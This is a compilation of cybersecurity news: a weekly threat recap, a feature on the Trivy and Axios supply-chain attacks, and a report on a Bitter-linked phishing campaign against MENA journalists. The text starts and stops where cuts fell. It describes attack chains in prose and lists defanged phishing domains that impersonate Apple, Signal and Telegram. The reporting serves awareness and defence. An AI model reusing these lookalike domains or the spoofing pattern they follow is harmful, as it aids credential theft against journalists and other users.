allows us to scan and secure vast codebases at a scale previously unimaginable. However, it also lowers the threshold for attackers, empowering less-skilled actors to launch complex, high-impact campaigns. Ultimately, AI is accelerating the pace of innovation for both defenders and adversaries alike. The question is simply who gets ahead of it and how fast." Law Enforcement Operation Fells APT28 Router Botnet — APT28 has been silently exploiting known vulnerabilities in small and home office (SOHO) routers since at least May 2025, and changing their DNS server settings to redirect victims to websites it controls for credential theft. The attack chain begins with Forest Blizzard gaining unauthorized access to poorly secured SOHO routers and silently modifying their default network settings so that DNS lookups for select websites are altered to direct users to their bogus counterparts. Specifically, the actor replaces the router's legitimate DNS resolver configuration with actor-controlled DNS servers. Since endpoint devices, such as laptops, phones, and workstations, automatically inherit network configuration from routers via the Dynamic Host Configuration Protocol (DHCP), every device connecting through a compromised router unknowingly begins forwarding its DNS requests to Russian intelligence-controlled infrastructure. For a select subset of high-priority targets, Forest Blizzard escalated beyond passive DNS collection to active Adversary-in-the-Middle (AiTM) attacks against Transport Layer Security (TLS) connections. The compromised router redirects the victim's DNS query to the actor-controlled resolver. The malicious resolver returns a spoofed IP address, directing the victim's device to actor-controlled infrastructure instead of the legitimate service. Forest Blizzard then intercepts the underlying plaintext traffic – potentially including emails, credentials, and sensitive cloud-hosted content. The activity has gradually declined over the past few weeks. The operations are "likely opportunistic in nature, with the actor casting a wide net to reach many potential victims, before narrowing in on targets of intelligence interest as the attack develops," per the U.K. government. "The GRU provides fraudulent DNS answers for specific domains and services – including Microsoft Outlook Web Access — enabling adversary-in-the-middle (AitM) attacks against encrypted traffic if users navigate through a certificate error warning. These AitM attacks would allow the actors to see the traffic unencrypted." The operation fits into a series of disruptions aimed at Russian government hackers dating back to 2018, including VPNFilter, Cyclops Blink, and MooBot. Drift Protocol Links Hack to North Korea — Drift Protocol has revealed that a North Korean state-linked group spent six months posing as a trading firm to steal $285 million in digital assets. The attack has been described as a meticulously planned intelligence operation that began in fall 2025, when a group of individuals approached Drift staff at a major cryptocurrency conference, presenting themselves as a quantitative trading firm seeking to integrate with the protocol. Over the next couple of months, the group built trust through in-person meetings, Telegram coordination, onboarding an Ecosystem Vault on Drift, and made a $1 million deposit of their own capital. But once the exploit hit, the trading group vanished, with the chats and malware "completely scrubbed" to cover up the tracks. The Drift Protocol hack follows a pattern that is becoming increasingly frequent as this incident marks the 18th North Korea-linked act Elliptic has tracked in 2026. Bitter-Linked Hack-for-Hire Campaign Targets Journalists Across MENA — An apparent hack-for-hire campaign likely orchestrated by a threat actor with suspected ties to the Indian government targeted journalists, activists, and government officials across the Middle East and North Africa (MENA). The targets included prominent Egyptian journalists and government critics, Mostafa Al-A'sar and Ahmed Eltantawy, along with an anonymous Lebanese journalist. The spear-phishing attacks aimed to compromise their Apple and Google accounts by sending specially crafted links designed to capture their credentials. The attack has been found to share infrastructure overlaps with an Android spyware campaign that leveraged deceptive websites impersonating Signal, ToTok, and Botim to deploy ProSpy and ToSpy to unspecified targets in the U.A.E. While Bitter has not been attributed to espionage campaigns targeting civil society members in the past, the campaign once again demonstrates a growing trend of government agencies outsourcing their hacking operations to private hack-for-hire firms, which develop spyware and exploits for use by law enforcement and intelligence agencies to covertly access data on people's phones. 🔥 Trending CVEs Bugs drop weekly, and the gap between a patch and an exploit is shrinking fast. These are the heavy hitters for the week: high-severity, widely used, or already being poked at in the wild. Check the list, patch what you have, and hit the ones marked urgent first — CVE-2026-34621 (Adobe Acrobat Reader), CVE-2026-39987 (Marimo), CVE-2026-34040 (Docker Engine), CVE-2025-59528 (Flowise), CVE-2026-34976 (dgraph), CVE-2026-0049, CVE-2025-48651 (Android), CVE-2026-0740 (Ninja Forms – File Upload plugin), CVE-2025-58136 (Apache Traffic Server), CVE-2026-4350 (Perfmatters plugin), CVE-2026-32922, CVE-2026-33579, GHSA-9p3r-hh9g-5cmg, GHSA-g5cg-8x5w-7jpm, GHSA-8rh7-6779-cjqq, GHSA-hc5h-pmr3-3497, GHSA-j7p2-qcwm-94v4, GHSA-fqw4-mph7-2vr8, GHSA-9hjh-fr4f-gxc4, GHSA-hf68-49fm-59cq (OpenClaw), CVE-2026-29059, CVE-2026-23696, CVE-2026-22683 (Windmill), CVE-2026-34197 (Apache ActiveMQ), CVE-2026-4342 (Kubernetes), CVE-2026-34078 (Flatpak), CVE-2026-31790 (OpenSSL), CVE-2026-0775 (npm cli), CVE-2026-0776 (Discord Client), CVE-2026-0234 (Palo Alto Networks), CVE-2026-4112 (SonicWall), CVE-2026-5437 through CVE-2026-5445 (Orthanc DICOM Server), CVE-2026-30815, CVE-2026-30818 (TP-Link), CVE-2026-33784 (Juniper Networks Support Insights Virtual Lightweight Collector), CVE-2026-23869 (React Server Components), CVE-2026-5707, CVE-2026-5708, CVE-2026-5709 (AWS Research and Engineering Studio), CVE-2026-5173, CVE-2026-1092, CVE-2025-12664 (GitLab), CVE-2026-5860, CVE-2026-5858, CVE-2026-5859, from CVE-2026-5860 through CVE-2026-5873 (Google Chrome), CVE-2023-46233, CVE-2026-1188, CVE-2026-1342, CVE-2026-1346 (IBM Verify Identity Access and IBM Security Verify Access), CVE-2026-5194 (WolfSSL), and CVE-2026-20929 (Windows HTTP.sys). 🎥 Cybersecurity Webinars The Blueprint for AI Agent Governance: Identity, Visibility, and Control → As autonomous AI agents move from experimental "slideware" to production middleware, they’ve created a massive new attack surface: non-human identities. Join this webinar to cut through the vendor noise and get a practical blueprint for the three pillars of agent security—identity, visibility, and control. Learn how to establish hardware-backed agent identities and implement forensic AI proxies to govern your machine workforce before the "ghosts" in your system become liabilities. State of AI Security 2026: From Experimental Apps to Autonomous Agents → AI is evolving from static tools to autonomous agents, outstripping traditional security faster than ever. With 87% of leaders citing AI as their top emerging risk, the "wait and see" approach is officially over. Join us to dissect the 2026 State of AI Security and gain a battle-tested roadmap for securing model runtimes, preventing agentic data leaks, and governing your machine workforce in production. Validate 56% Faster: How AI Agents are Automating the Pentest Loop → Vulnerability backlogs are endless, but true exploitability is rare. Agentic Exposure Validation uses autonomous AI to safely test your defenses in real-time, proving which risks are real and which are just noise. Join us to learn how to automate your validation loop, prioritize the 1% of flaws that actually matter, and shrink your attack surface at machine speed. 📰 Around the Cyber World Fake Claude Website Drops PlugX — A fake website impersonating Anthropic's Claude to push a trojanized installer that deploys known malware referred to asPlugXusing a technique called DLL side-loading. The domain mimics Claude's official site, and visitors who download the ZIP archive receive a copy of Claude that installs and runs as expected," Malwarebytes said. "But in the background, it deploys a PlugX malware chain that gives attackers remote access to the system." While PlugX is known to be widely shared among Chinese hacking groups and delivered via DLL side-loading, its source code has circulated in underground forums, indicating that other threat actors could also be weaponizing the malware in their own attacks. Seized VerifTools Servers Expose 915,655 Fake IDs — In August 2025, a joint law enforcement operation between the Netherlands and the U.S. led to the takedown of a fake ID marketplace called VerifTools. Last week, Dutch police arrested eight suspects in a nationwide operation targeting users of the illicit platform as part of an identity fraud investigation. The male suspects, aged between 20 and 34, have been accused of identity fraud, forgery, and cybercrime-related offenses. In addition, nine suspects have been ordered to report to the police station. This includes seven men aged 18 to 35, and two girls aged 15 and 16. Further investigation into VerifTools has revealed that there were 636,847 registered users from February 2021 to August 2025, with 915,655 fake documents generated between May 2023 and August 2025. Investigators also found 236,002 document images linked to the U.S. that were purchased for about $1.47 million between July 2024 and August 2025. U.K. Government Threatens Tech Execs with Jail Time — The U.K. government said it submitted amendments to the Crime and Policing Bill that, besides criminalizing pornography depicting illegal sexual conduct between family members and adults roleplaying as children and prohibiting people from possessing or publishing such content, also aims to fine or imprison senior executives of companies who fail to remove people's intimate images that have been shared without consent. Optical Fibers for Acoustic Eavesdropping — New research from the Hong Kong Polytechnic University and Chinese University of Hong Kong has uncovered a critical side channel within telecommunication optical fiber that enables acoustic eavesdropping. "By exploiting the sensitivity of optical fibers to acoustic vibrations, attackers can remotely monitor sound-induced deformations in the fiber structure and further recover information from the original sound waves," a group of academics said in an accompanying paper. "This issue becomes particularly concerning with the proliferation of Fiber-to-the-Home (FTTH) installations in modern buildings. Attackers with access to one end of an optical fiber can use commercially available Distributed Acoustic Sensing (DAS) systems to tap into the private environment surrounding the other end." Storm-2755 Conducts Payroll Pirate Attacks — Microsoft said it observed an emerging, financially motivated threat actor dubbed Storm-2755 carrying out payroll pirate attacks targeting Canadian users by abusing legitimate enterprise workflows. "In this campaign, Storm-2755 compromised user accounts to gain unauthorized access to employee profiles and divert salary payments to attacker-controlled accounts, resulting in direct financial loss for affected individuals and organizations," the company said. The tech giant also pointed out that the campaign is distinct from prior activity owing to differences in delivery and targeting.Particularly, this involves the exclusive targeting of Canadian users and the use of malvertising and search engine optimization (SEO) poisoning industry agnostic search terms like "Office 365" to lure victims to Microsoft 365 credential harvesting pages. Also notable is the use of adversary‑in‑the‑middle (AiTM) techniques to hijack authenticated sessions, allowing the threat actor to bypass multi-factor authentication (MFA) and blend into legitimate user activity. MITRE Releases F3 Framework to Fight Cyber Fraud — MITRE has released the Fight Fraud Framework (F3), which it described as a "first-of-its-kind effort to define and standardize the tactics and techniques used in cyber-enabled financial fraud." The tactics cover the entire attack lifecycle: Reconnaissance, Resource Development, Initial Access, Defense Evasion, Positioning, Execution, and Monetization. By codifying the tradecraft used to conduct fraud, the idea is to help financial institutions better understand, detect, and prevent fraud through a shared framework of adversary behaviors, it added. "Fraud actors often blend traditional cyber techniques with domain-specific fraud tactics, making a unified cyber-fraud framework essential," MITRE said. "F3 helps defenders connect technical signals to real-world fraud events, enabling a shift from reactive response to proactive defense." RegPhantom, a Stealthy Windows Kernel Rootkit — A new Windows kernel rootkit dubbed RegPhantom can give attackers code execution in kernel mode from an unprivileged user mode context without leaving any major visual evidence behind. "The malware abuses the Windows registry as a covert trigger mechanism: a usermode process can send an encrypted command through a registry write, which the driver intercepts and turns into arbitrary kernel-mode code execution," Nextron Systems said. "What makes this threat notable is the combination of stealth, privilege, and trust abuse. The driver runs as a signed kernel component, allowing it to operate at the highest privilege level on Windows systems. It does not rely on normal driver loading behavior for its payloads and instead reflectively maps code into kernel memory, making the loaded module invisible to standard tools that enumerate drivers. It also blocks the triggering registry write, wipes executed payload memory, and stores hook pointers in encoded form, which significantly reduces forensic visibility." The first sample of RegPhantom in the wild was detected on June 18, 2025. APT28's NTLMv2 Hash Relay Attacks Detailed — In more APT28 (aka Pawn Storm) news, the threat actor has been attributed to NTLMv2 hash relay attacks through different methods against a wide range of global targets across Europe, North America, South America, Asia, Africa, and the Middle East between April 2022 and November 2023. The threat actor is known to break into mail servers and the corporate virtual private network (VPN) services of organizations around the world through brute-force credential attacks since 2019. "Pawn Storm has also been using EdgeOS routers to send spear-phishing emails, perform callbacks of CVE-2023-23397 exploits in Outlook, and proxy credential theft on credential phishing websites," Trend Micro said. Successful exploitation of CVE-2023-23397 allows an attacker to obtain a victim's Net-NTLMv2 hash and use it for authentication against other systems that support NTLM authentication. The vulnerability, per Microsoft, has been exploited as a zero-day since April 2022. Select campaigns observed in October 2022 involved the use of phishing emails to drop a stealer that scanned the system periodically for files matching certain extensions and exfiltrated them to the free file-sharing service, free.keep.sh. New RATs Galore — Trojanized FileZilla installers are being used to initiate an attack chain that leads to the deployment of STX RAT, a remote access trojan (RAT) with infostealer capabilities. Researchers have also discovered an active threat called DesckVB RAT, a JavaScript-based trojan that deploys a PowerShell payload, which subsequently loads a .NET-based loader directly into memory. "Once executed, the RAT establishes communication with a command-and-control (C2) server, enabling attackers to remotely control the compromised system, exfiltrate sensitive data, and carry out various malicious activities while maintaining a low detection footprint," Point Wild said. Some of the other newly discovered RATs include CrystalX or WebCrystal RAT (a new malware-as-a-service (MaaS) and a rebrand of WebRAT promoted on Telegram and YouTube with remote access, data theft, keylogging, spyware, and clipper capabilities), RetroRAT (a malware distributed via PowerShell and .NET loaders as part of a campaign named Operation DualScript for system monitoring, financial activity tracking, clipboard hijacking to route cryptocurrency transactions, and remote command execution), ResokerRAT (a malware that uses Telegram for C2 and receive commands on the victim machine), and CrySome (a C# RAT that offers full-spectrum remote operations on compromised systems, along with deeply integrated persistence, AV killer, and anti-removal architecture that leverages recovery partition abuse and offline registry modification). Phishing Campaign Delivers Remcos RAT in Fileless Manner — Phishing emails are being used to deliver Remcos RAT in what has been described as a fileless attack. "The attack chain is initiated through a phishing email containing a ZIP attachment disguised as a legitimate business document," Point Wild said. "Upon execution, an obfuscated JavaScript dropper establishes the initial foothold and retrieves a remote PowerShell script, which acts as a reflective loader. This loader employs multiple layers of obfuscation, including Base64 encoding, raw binary manipulation, and rotational XOR encryption, to reconstruct and execute a .NET payload entirely in memory." An important aspect of the campaign is the use of trusted system binaries to proxy malicious execution under the guise of legitimate processes. The final RAT payload is retrieved dynamically from a remote C2 server, allowing the threat actor to switch payloads at any time. Tycoon 2FA Switches Infrastructure and Uses ProxyLine — The operators of the Tycoon 2FA phishing kit have been observed increasingly relying on ProxyLine, a commercial datacenter proxy service, to evade IP and geo‑based detection controls following its return after the coordinated global takedown of its infrastructure last month. Following the takedown, threat actors have pivoted to new infrastructure providers like HOST TELECOM LTD, Clouvider, GREEN FLOID LLC, and Shock Hosting LLC. One provider that has witnessed continued use pre- and post-takedown is M247 Europe SRL. In addition, Gmail-targeted Tycoon 2FA campaigns have implemented WebSocket-based communication for real-time credential harvesting and reduced detection footprint compared to traditional HTTP POST requests. TeleGuard's Security Failings Exposed — TeleGuard, an app that's advertised as an "encrypted messenger [that] offers uncompromising data protection" and has been downloaded more than a million times, has been found to suffer from poor encryption that allows an attacker to trivially access a user’s private key and decrypt their messages. "TeleGuard also uploads users' private keys to a company server, meaning TeleGuard itself could decrypt its users' messages, and the key can also at least partially be derived from simply intercepting a user's traffic," security researchers told 404 Media. Google Brings E2EE to Gmail for Android and iOS — Google officially expanded support for end-to-end encryption (E2EE) to Android and iOS devices for Gmail client-side encryption (CSE) users. "Users with a Gmail E2EE license can send an encrypted message to any recipient, regardless of what email address the recipient has," Google said. The feature is currently limited to only Enterprise Plus customers with the Assured Controls or Assured Controls Plus add-on. Bad Actors Abuse GitHub and GitLab — Threat actors are turning to trusted services like GitHub and GitLab for spreading malware and stealing login credentials from unsuspecting users. About 53% of all campaigns abusing the GitHub domains have been found to deliver malware (e.g., XWorm, Venom RAT), whereas 64% of campaigns abusing GitLab domains deliver malware (e.g., DCRat). Select campaigns have also adopted a dual threat attack chain, leveraging GitHub or GitLab to trick users into downloading Muck Stealer, after which a credential phishing page automatically opens. "These Git repository websites are necessary and can'tbe blocked because of their use by enterprise software and normal business operations," Cofense said. "By uploading malware or credential phishing pages to repositories hosted on these domains, threat actors can generate phishing links that won'tbe blocked by many email-based security defenses like secure email gateways (SEG). GitHub and GitLab mark the latest trend in abuse of legitimate cloud collaboration platforms." FBI Extracts Signal Messages from iOS Notification History Database — The U.S. Federal Bureau of Investigation (FBI) managed to forensically extract copies of incoming Signal messages from a defendant's iPhone, even after the app was deleted, by taking advantage of the fact that copies of the content were saved in the device's push notification database, 404 Media reported. The development reveals how physical access to a device can enable specialized software to run on it to yield sensitive data derived even from secure messaging apps in unexpected places. The problem is not limited to the Signal app, but one that stems from a more fundamental design decision regarding how Apple stores notifications. Signal already has a setting that blocks message content from displaying in push notifications. Users who are concerned about their privacy are advised to consider turning the option on. Multiple Flaws in IBM WebSphere Liberty — Multiple security flaws have been disclosed in IBM WebSphere Liberty, a modular, cloud-friendly Java application server, that could be exploited to seize control of affected systems. The vulnerabilities offer multiple pathways for attackers to move from network-level exposure or limited access to full server compromise, according to Oligo Security. The most severe is CVE-2026-1561 (CVSS score: 5.4), which enables pre-authenticated remote code execution in SSO-enabled deployments due to unsafe deserialization in SAML Web SSO. "IBM WebSphere Application Server Liberty is vulnerable to server-side request forgery (SSRF)," IBM said. "This may allow [a] remote attacker to send unauthorized requests from the system, potentially leading to network enumeration or facilitating other attacks." 🔧 Cybersecurity Tools Betterleaks → It is the next-generation successor to Gitleaks, built to find exposed credentials with greater speed and accuracy. It eliminates the noise of false positives by moving beyond basic pattern matching to high-fidelity detection. Designed for modern CI/CD pipelines, it helps developers identify and fix leaked API keys and sensitive data before they become security liabilities. Supply Chain Monitor → This tool provides end-to-end visibility into your software supply chain by monitoring CI/CD pipelines for suspicious activity. It tracks build integrity, detects unauthorized changes, and surfaces vulnerabilities in real-time. By integrating directly with your existing workflows, it helps ensure that the code you ship hasn't been tampered with between the commit and production. Disclaimer: This is strictly for research and learning. It hasn't been through a formal security audit, so don't just blindly drop it into production. Read the code, break it in a sandbox first, and make sure whatever you’re doing stays on the right side of the law. Conclusion That’s the wrap for this Monday. While the headlines usually focus on the high-level nation-state drama, remember that most of these attacks still rely on someone, somewhere, clicking a "trusted" link or ignoring a basic patch. Whether it’s an AI-driven exploit engine or a fake trading firm, the goal is always to find the path of least resistance into your environment. Stay sharp, keep your edge devices updated, and don’t let the noise of the news cycle distract you from the basics of your own defense.
thehackernews.comApr 13, 2026extracted
Two different attackers poisoned popular open source tools - and showed us the future of supply chain compromise
FEATURE Two supply chain attacks in March infected open source tools with malware and used this access to steal secrets from tens of thousands – if not more – organizations. We won't know the full blast radius for months. Both targeted popular open source projects that are used by a ton of organizations and integrated into countless software products, apps, and developer environments. First, attackers hit Trivy, a vulnerability scanner with more than 100,000 users and contributors that is embedded in thousands of CI/CD pipelines. Up next: Axios, an open-source JavaScript library that has about 100 million weekly downloads and runs in 80 percent of cloud and code environments. "Both of these campaigns will likely play out over several months," Mandiant Consulting CTO Charles Carmakal told The Register. "The data that was taken a few weeks ago will likely be leveraged this week, next week, next month – probably for several months – and the blast radius will continue to expand." Although executed by different attackers – Axios by North Korean-linked goons, and Trivy et al. by a loosely knit band of smash-and-grab miscreants called TeamPCP – both had similar end goals, a deep understanding of developer environments, and advanced social engineering skills. According to security experts, the incidents demonstrate the future of supply-chain attacks. "We are seeing more and more developers targeted by this type of activity," Cisco Talos outreach lead Nick Biasini told The Register. "Attackers are starting to really look at the supply chain and open source packages, and figure out ways to compromise developers to deliver malware or gather data, depending on the type of threat." It's going to become even more frequent as attackers use AI to make their social engineering campaigns more believable and hyper-personalized to targeted people and organizations, Biasini added. "In today's world, with AI and the kind of public personas that people keep, it's increasingly easy to build attacks," he said. "If there's a lot of money at stake, there's going to be a lot of people running to cash in. So with this success, I expect to see more." Vuln scanner as initial attack vector TeamPCP compromised Trivy, an open source vulnerability scanner maintained by Aqua Security in late February, then injected credential-stealing malware into the scanner on March 16 through the binary, GitHub Actions, and container images. This malware hoovered up CI/CD secrets, cloud credentials, SSH keys, and Kubernetes configuration files, and planted persistent backdoors on developers' machines. It also gave the attacks an initial access vector into several other open source tools. Then, on March 23, the same crew used CI/CD secrets stolen from the Trivy intrusion to inject the same malware into open source static analysis tool KICS, maintained by Checkmarx. Days later, TeamPCP published malicious versions of LiteLLM and Telnyx to the Python Package Index (PyPI), both of which use Trivy in their CI/CD pipeline. "I think they went after security tools deliberately," Ben Read, who leads the cyber threat intel team at Wiz, told The Register. "It could be giving the finger to people and brashness, or they saw a market opportunity because odd things happen in security environments, and they don't get watched as closely. But the bigger picture is: This stuff is very accessible." TeamPCP, the group behind the Trivy and other open source supply chain attacks, first showed up on the cybercrime scene at the end of 2025, targeting cloud environments in data-theft and extortion operations. Their style was very much smash-and-grab. It was primarily about speed, just grabbing everything, and getting out quickly. Researchers at Flare, a threat exposure management provider, were among the first to sound the alarm about TeamPCP. In December, Flare detailed how the hacking crew exploited misconfigured Docker APIs, Kubernetes APIs, Ray dashboards, Redis servers, and vulnerable React/Next.js applications. After compromising one workload, the criminals used that access to move laterally across entire clusters, monetizing stolen data for ransom and using exposed infrastructure for crypto-mining, proxy networks, scanning, and data hosting. "The operation's goals were to build a distributed proxy and scanning infrastructure at scale, then compromise servers to exfiltrate data, deploy ransomware, conduct extortion, and mine cryptocurrency," Flare analysts wrote at the time. "Initially, there's not a ton to distinguish them from the other, relatively noisy, financially motivated groups claiming stuff online," Read said. Infosec researchers believe TeamPCP is a loosely knit group of young people, primarily English speakers inspired by influencer culture and YouTube trends. The miscreants like to brag about their exploits on Telegram and Discord channels, a trait they share with other attack gangs like The Com, Lapsus$, Scattered Spider, and ShinyHunters. "They're clearly inspired by the communication style of Lapsus$," Read said, noting the group points to a Rickroll video in its malicious domain, and hid a secret message saying "thank you for not being a vibe researcher" in its blockchain-based command-and-control infrastructure. "They're aware people are watching them, and they are leaning into that, trying to create this vision of themselves," he added. Plus, as the group's December attacks and then Trivy compromise showed, TeamPCP "definitely know the developer environment well," Read said. "And they are clearly leaning on LLMs to develop some of their code." Developer environments tend to be well-documented - and this lends itself to using LLMs to assist in finding misconfigurations, and writing and injecting malicious code into packages. "Their style was very much smash-and-grab," in all four of the open source compromises, Read says. "In all of the cases, they were found in less than 12 hours. They were not trying to mask stuff or find one valuable thing and get out silently. It was primarily about speed, just grabbing everything, and getting out quickly." Even if the attack wasn't elegant, it still amassed a huge volume of credentials – "so large, that the adversary started soliciting support from a variety of other threat actors to do things with the stolen credentials," Carmakal said. North of 10,000 organizations were likely impacted In total, TeamPCP stole credentials for more than 10,000 organizations, according to Carmakal, although that doesn't necessarily mean they've since compromised that many environments to steal data or perform other nefarious acts. "North of 10,000 organizations were likely impacted," he said. "It was really interesting and quite alarming to see how many credentials these folks had successfully obtained from a whole bunch of compromise endpoints." Carmakal doubts the gang has ended its rampage. "We assess that the threat actor, as long as they continue to leverage these credentials and these secrets, they'll likely continue to compromise more environments," he said. "As they compromise more environments, they'll get more secrets, more credentials, and keep going until they choose to stop, or law enforcement takes action, or there's some other disruption activity that occurs." In another open source galaxy, not so far away... Then, just two weeks after Trivy, another supply chain attack hit a different open-source library. On March 31, Axios, one of npm's most widely used HTTP client libraries, became a malware delivery vehicle for about three hours after attackers hijacked a maintainer's account and slipped a remote-access trojan (RAT) into two seemingly legitimate releases. Google's Threat Intelligence Group attributed the attack to a suspected North Korean threat actor it tracks as UNC1069. "North Korean hackers have deep experience with supply chain attacks, which they've historically used to steal cryptocurrency," GTIG chief analyst John Hultquist told The Register at the time. "The full breadth of this incident is still unclear, but given the popularity of the compromised package, we expect it will have far reaching impacts." Axios' primary maintainer Jason Saayman later published a detailed post-mortem, and said the tactics mirrored Google's February analysis of UNC1069, and its use of AI-enabled social engineering to target cryptocurrency companies with custom malware. The attackers reached out to Saayman pretending to be a company founder – after creating a digital clone of the real company and its founders. They also built a realistic Slack workspace, complete with employee profiles and posts, and then invited Saayman to join. "The gentleman who was the initial victim got an invite to collaborate," Read said. "This is how the internet is supposed to work: Two people from across the globe collaborating on a project that helps other people. But it was North Korea." After gaining Saayman's trust, the criminals lured him into joining a Teams meeting. When he joined, however, Teams told Saayman his software was out of date, and he needed to install an update to continue. "This was the RAT," he wrote in the post-mortem. The malware gave UNC1069 access to Saayman's machine, and this allowed them to push malicious updates to the Axios project, ensuing any system that installed the compromised packages during the three-hour window downloaded a stealer that exfiltrated users private keys and credentials, sending them to an attacker-controlled server. The number of downstream victims is unknown. "This was a very sophisticated campaign," Biasini said. "They did a lot to compromise this particular victim, and there's not a lot that would have tipped them that there were problems." North Korean criminals have targeted developers – and companies looking to hire developers – for years, with state-sponsored offensive cyber operations that include cryptocurrency theft, ransomware and extortion attacks, and IT worker scams. More recently, they've also begun directly going after developers, using lures like job interviews and meetings to compromise their machines and steal credentials and cryptocurrency wallets. "North Korea's got this flywheel of understanding, where they've got the IT workers who are getting real jobs, and they also understand developer environments and how they work from a technical perspective," Read said. "From what we've seen, and what we tell our customers: This is going to keep happening." What to expect when you're defending Both supply-chain attacks illustrate how adversaries will always choose the path of least resistance, whether that means logging in with compromised credentials or social engineering the sole maintainer on an open source project that underpins most of the internet. "They realize that instead of trying to bang my way into these companies, it's much better for me to go after the one, maybe two people that are maintaining this open source package," Biasini said. "And by compromising these packages, they can create a huge amount of opportunity in a wide array of spaces." If there's a silver lining to be had, it's that both incidents "created a whole bunch of awareness of this problem that everybody's dealing with right now with compromised packages," Carmakal said. "And it reintroduces the conversation of SBOMs - software bill-of-materials." This essentially serves as an "ingredients list" for software components, including open source, third-party, and proprietary code. "The biggest thing that you can do is understand where your risk is," Biasini said. "If a supply-chain attack happens, you should be able to quickly determine where is this package being used in our environment, and where are our potential infection points? The best thing you can do as defenders is make sure that you have those SBOMs, understand where these packages are, and try and triage as quickly as you can." Biasini suggests using AI agents to help. "This would be a great place to leverage AI," he said. "Start turning on AI agents to identify where these open source projects are in your environment." All of the security experts we spoke with noted the rapid detection time in these supply chain attacks. "Within 12 hours in most cases," Read said. "This wasn't something that was lying there silently for a long time." There will always be a window between whenever code is poisoned and the time it's detected in a supply-chain attack. That window presents an opportunity for organizations to avoid downloading malware onto their systems and machines, he added. "If you create a rule in your development environments where you don't download any versions newer than 24 hours, you would have skipped these," Read said. "It's easy to say, hard to enforce consistently, especially with Jim from accounting spinning up Claude and now everybody's a developer." Still, enforcing some type of short delay, coupled with SBOMs, knowing what software runs on which machines, and where secrets live, can help organizations better "respond and prioritize efficiently," he added. "Social engineering isn't going away," according to Biasini. "It's going to get really bad with deep fakes, voice cloning, and video cloning. Organizations should already be planning for secure phrases, secure objects." He's talking about a physical object, something you have on your desk that you can pick up and prove your identity to the person on the other end of the video call. "Making sure that you have the things in place now to deal with the stuff that's going to be coming, because soon you're going to have your CEO or your boss showing up on a video call demanding that you do something that seems odd. And if you don't have these protections built in already, it's going to be hard to stand them up." ®
go.theregister.comApr 11, 2026extracted
Bitter-Linked Hack-for-Hire Campaign Targets Journalists Across MENA Region
An apparent hack-for-hire campaign likely orchestrated by a threat actor with suspected ties to the Indian government targeted journalists, activists, and government officials across the Middle East and North Africa (MENA), according to findings from Access Now, Lookout, and SMEX. Two of the targets included prominent Egyptian journalists and government critics, Mostafa Al-A'sar and Ahmed Eltantawy, who were at the receiving end of a series of spear-phishing attacks that sought to compromise their Apple and Google accounts in October 2023 and January 2024 by directing them to fake pages that tricked them into entering their credentials and two-factor authentication (2FA) codes. "The attacks were carried out from 2023 to 2024, and both targets are prominent critics of the Egyptian government who have previously faced political imprisonment; one of them was previously targeted with spyware," Access Now's Digital Security Helpline said. Also singled out as part of these efforts was an anonymous Lebanese journalist, who received phishing messages in May 2025 through the Apple Messages app and WhatsApp containing malicious links that, when clicked, tricked users into entering their account credentials as part of a supposed verification step from Apple. "The phishing campaign included persistent attacks via iMessage/Apple Messenger and WhatsApp app, [...] impersonating Apple Support," SMEX, a digital rights non-profit in the West Asia and North Africa (WANA) region, said. "While the main focus of this campaign appears to be Apple services, evidence suggests that other messaging platforms, namely Telegram and Signal, were also targeted." In the case of Al-A'sar, the spear-phishing attack aimed at compromising his Google account began with a LinkedIn message from a sock puppet persona named "Haifa Kareem," who approached him with a job opportunity. After the journalist shared their mobile number and email address with the LinkedIn user, he received an email from the latter on January 24, 2024, instructing him to join a Zoom call by clicking on a link shortened using Rebrandly. The URL is assessed to be a consent-based phishing attack that leverages Google's OAuth 2.0 to grant the attacker unauthorized access to the victim's account through a malicious web application named "en-account.info." "Unlike the previous attack, where the attacker impersonated an Apple account login and used a fake domain, this attack employs OAuth consent to leverage legitimate Google assets to deceive targets into providing their credentials," Access Now said. "If the targeted user is not logged in to Google, they are prompted to enter their credentials (username and password). More commonly, if the user is already logged in, they are prompted to grant permission to an application that the attacker controls, using a third-party sign-in feature that is familiar to most Google users." Some of the domains used in these phishing attacks are listed below - signin-apple.com-en-uk[.]co id-apple.com-en[.]io facetime.com-en[.]io secure-signal.com-en[.]io telegram.com-en[.]io verify-apple.com-ae[.]net join-facetime.com-ae[.]net android.com-ae[.]net encryption-plug-in-signal.com-ae[.]net Interestingly, the use of the domain "com-ae[.]net" overlaps with an Android spyware campaign that Slovakian cybersecurity company ESET documented in October 2025, highlighting the use of deceptive websites impersonating Signal, ToTok, and Botim to deploy ProSpy and ToSpy to unspecified targets in the U.A.E. Specifically, the domain "encryption-plug-in-signal.com-ae[.]net" was used as an initial access vector for ProSpy by claiming to be a non-existent encryption plugin for Signal.The spyware comes fitted with capabilities to exfiltrate sensitive data like contacts, SMS messages, device metadata, and local files. Neither of the Egyptian journalists' accounts was ultimately infiltrated. However, SMEX revealed that the initial attack that targeted the Lebanese journalist on May 19, 2025, completely compromised their Apple Account and resulted in the addition of a virtual device to the account to gain persistent access to the victim's data. The second wave of attacks was unsuccessful. While there is no evidence that the three journalists were targeted with spyware, the evidence shows that threat actors can use the methods and infrastructure associated with the attacks to deliver malicious payloads and exfiltrate sensitive data. "This suggests that the operation we identified may be part of a broader regional surveillance effort aimed at monitoring communications and harvesting personal data," Access Now said. Lookout, in its own analysis of these campaigns, attributed the disparate efforts to a hack-for-hire operation with ties to Bitter, a threat cluster that's assessed to be tasked with intelligence gathering efforts in the interests of the Indian government. The espionage campaign has been operational since at least 2022. Based on the phishing domains observed and ProSpy malware lures, the campaign has likely targeted victims in Bahrain, the U.A.E., Saudi Arabia, the U.K., Egypt, and potentially the U.S., or alumni of U.S. universities, indicating the attacks go beyond members of Egyptian and Lebanese civil society. "The operation features a combination of targeted spear-phishing delivered through fake social media accounts and messaging applications leveraging persistent social engineering efforts, which may result in the delivery of Android spyware depending on the target’s device," the cybersecurity company said. The campaign's links to Bitter stem from infrastructure connections between "com-ae[.]net" and "youtubepremiumapp[.]com," a domain flagged by Cyble and Meta in August 2022 as linked to Bitter in relation to an espionage effort that used fake sites mimicking trusted services like YouTube, Signal, Telegram, and WhatsApp to distribute an Android malware dubbed Dracarys. Lookout's analysis has also uncovered similarities between Dracarys and ProSpy, despite the latter being developed years later using Kotlin instead of Java. "Both families use worker logic to handle tasks, and they name the worker classes similarly. They also both use numbered C2 commands," the company added. "While ProSpy exfiltrates data to server endpoints starting with 'v3,' Dracarys exfiltrates data to server endpoints starting with 'r3.'" These connections notwithstanding, what makes the campaign unusual is that Bitter has never been attributed to espionage campaigns 